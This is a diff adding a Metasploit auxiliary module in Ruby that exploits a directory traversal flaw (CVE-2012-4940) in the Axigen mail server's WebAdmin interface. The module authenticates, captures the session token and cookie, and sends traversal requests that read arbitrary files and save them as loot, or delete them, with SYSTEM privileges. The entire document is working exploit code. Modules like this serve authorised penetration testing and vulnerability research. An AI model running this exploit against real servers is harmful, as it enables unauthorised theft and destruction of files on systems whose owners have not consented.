|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Auxiliary |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Axigen Arbitrary File Read and Delete', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a directory traversal vulnerability in the WebAdmin |
| 19 | + interface of Axigen, which allows an authenticated user to read and delete |
| 20 | + arbitrary files with SYSTEM privileges. The vulnerability is known to work on |
| 21 | + Windows platforms. This module has been tested successfully on Axigen 8.10 over |
| 22 | + Windows 2003 SP2. |
| 23 | + }, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'Zhao Liang', # Vulnerability discovery |
| 27 | + 'juan vazquez' # Metasploit module |
| 28 | + ], |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'References' => |
| 31 | + [ |
| 32 | + [ 'US-CERT-VU', '586556' ], |
| 33 | + [ 'CVE', '2012-4940' ], |
| 34 | + [ 'OSVDB', '86802' ] |
| 35 | + ], |
| 36 | + 'Actions' => |
| 37 | + [ |
| 38 | + ['Read', { 'Description' => 'Read remote file' }], |
| 39 | + ['Delete', { 'Description' => 'Delete remote file' }] |
| 40 | + ], |
| 41 | + 'DefaultAction' => 'Read', |
| 42 | + 'DisclosureDate' => 'Oct 31 2012')) |
| 43 | + |
| 44 | + register_options( |
| 45 | + [ |
| 46 | + Opt::RPORT(9000), |
| 47 | + OptInt.new('DEPTH', [ true, 'Traversal depth if absolute is set to false', 4 ]), |
| 48 | + OptString.new('TARGETURI',[ true, 'Path to Axigen WebAdmin', '/' ]), |
| 49 | + OptString.new('USERNAME', [ true, 'The user to authenticate as', 'admin' ]), |
| 50 | + OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]), |
| 51 | + OptString.new('PATH', [ true, 'The file to read or delete', "\\boot.ini" ]) |
| 52 | + ], self.class) |
| 53 | + end |
| 54 | + |
| 55 | + def run |
| 56 | + @peer = "#{rhost}:#{rport}" |
| 57 | + |
| 58 | + print_status("#{@peer} - Trying to login") |
| 59 | + if login |
| 60 | + print_good("#{@peer} - Login successful") |
| 61 | + else |
| 62 | + print_error("#{@peer} - Login failed, review USERNAME and PASSWORD options") |
| 63 | + return |
| 64 | + end |
| 65 | + |
| 66 | + @traversal = "../" * 10 |
| 67 | + file = datastore['PATH'] |
| 68 | + @platform = get_platform |
| 69 | + |
| 70 | + if @platform == 'windows' |
| 71 | + @traversal.gsub!(/\//, "\\") |
| 72 | + file.gsub!(/\//, "\\") |
| 73 | + else # unix |
| 74 | + print_error("#{@peer} - *nix platform detected, vulnerability is only known to work on Windows") |
| 75 | + return |
| 76 | + end |
| 77 | + |
| 78 | + case action.name |
| 79 | + when 'Read' |
| 80 | + read_file(datastore['PATH']) |
| 81 | + when 'Delete' |
| 82 | + delete_file(datastore['PATH']) |
| 83 | + end |
| 84 | + end |
| 85 | + |
| 86 | + def read_file(file) |
| 87 | + |
| 88 | + print_status("#{@peer} - Retrieving file contents...") |
| 89 | + |
| 90 | + res = send_request_cgi( |
| 91 | + { |
| 92 | + 'uri' => normalize_uri(target_uri.path, "sources", "logging", "page_log_file_content.hsp"), |
| 93 | + 'method' => 'GET', |
| 94 | + 'cookie' => "_hadmin=#{@session}", |
| 95 | + 'vars_get' => { |
| 96 | + '_h' => @token, |
| 97 | + 'fileName' => "#{@traversal}#{file}" |
| 98 | + } |
| 99 | + }) |
| 100 | + |
| 101 | + if res and res.code == 200 and res.headers['Content-Type'] and res.body.length > 0 |
| 102 | + store_path = store_loot("axigen.webadmin.data", "application/octet-stream", rhost, res.body, file) |
| 103 | + print_good("#{@peer} - File successfully retrieved and saved on #{store_path}") |
| 104 | + else |
| 105 | + print_error("#{@peer} - Failed to retrieve file") |
| 106 | + end |
| 107 | + end |
| 108 | + |
| 109 | + def delete_file(file) |
| 110 | + print_status("#{@peer} - Deleting file #{file}") |
| 111 | + |
| 112 | + res = send_request_cgi( |
| 113 | + { |
| 114 | + 'uri' => normalize_uri(target_uri.path), |
| 115 | + 'method' => 'GET', |
| 116 | + 'cookie' => "_hadmin=#{@session}", |
| 117 | + 'vars_get' => { |
| 118 | + '_h' => @token, |
| 119 | + 'page' => 'vlf', |
| 120 | + 'action' => 'delete', |
| 121 | + 'fileName' => "#{@traversal}#{file}" |
| 122 | + } |
| 123 | + }) |
| 124 | + |
| 125 | + if res and res.code == 200 and res.body =~ /View Log Files/ |
| 126 | + print_good("#{@peer} - File #{file} deleted") |
| 127 | + else |
| 128 | + print_error("#{@peer} - Error deleting file #{file}") |
| 129 | + end |
| 130 | + end |
| 131 | + |
| 132 | + def get_platform |
| 133 | + print_status("#{@peer} - Retrieving platform") |
| 134 | + |
| 135 | + res = send_request_cgi( |
| 136 | + { |
| 137 | + 'uri' => normalize_uri(target_uri.path), |
| 138 | + 'method' => 'GET', |
| 139 | + 'cookie' => "_hadmin=#{@session}", |
| 140 | + 'vars_get' => { |
| 141 | + '_h' => @token |
| 142 | + } |
| 143 | + }) |
| 144 | + |
| 145 | + if res and res.code == 200 |
| 146 | + if res.body =~ /Windows/ |
| 147 | + print_good("#{@peer} - Windows platform found") |
| 148 | + return 'windows' |
| 149 | + elsif res.body =~ /Linux/ |
| 150 | + print_good("#{@peer} - Linux platform found") |
| 151 | + return 'unix' |
| 152 | + end |
| 153 | + end |
| 154 | + |
| 155 | + print_warning("#{@peer} - Platform not found, assuming UNIX flavor") |
| 156 | + return 'unix' |
| 157 | + end |
| 158 | + |
| 159 | + def login |
| 160 | + res = send_request_cgi( |
| 161 | + { |
| 162 | + 'uri' => normalize_uri(target_uri.path), |
| 163 | + 'method' => 'POST', |
| 164 | + 'vars_post' => { |
| 165 | + 'username' => datastore['USERNAME'], |
| 166 | + 'password' => datastore['PASSWORD'], |
| 167 | + 'submit' => 'Login', |
| 168 | + 'action' => 'login' |
| 169 | + } |
| 170 | + }) |
| 171 | + |
| 172 | + if res and res.code == 303 and res.headers['Location'] =~ /_h=([a-f0-9]*)/ |
| 173 | + @token = $1 |
| 174 | + if res.headers['Set-Cookie'] =~ /_hadmin=([a-f0-9]*)/ |
| 175 | + @session = $1 |
| 176 | + return true |
| 177 | + end |
| 178 | + end |
| 179 | + |
| 180 | + return false |
| 181 | + end |
| 182 | + |
| 183 | +end |
0 commit comments